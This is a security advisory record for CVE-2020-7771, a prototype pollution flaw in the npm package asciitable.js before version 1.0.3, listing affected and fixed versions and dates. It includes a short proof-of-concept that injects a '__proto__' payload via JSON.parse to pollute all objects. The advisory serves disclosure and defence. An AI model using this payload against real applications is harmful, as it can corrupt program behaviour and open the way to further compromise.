Advisory

GHSA-5pxj-mhwj-x5gv

Also known as: CVE-2020-7771, SNYK-JS-ASCIITABLEJS-1039799

Summary

Prototype Pollution in asciitable.js

Details

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2021-04-13 15:24 UTC
Modified
2026-09-10 03:49 UTC

Affected packages and fixes

asciitable.js

npm · All systems

Affected

  • introduced 0, fixed 1.0.3 (semver)

Fixed versions

1.0.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences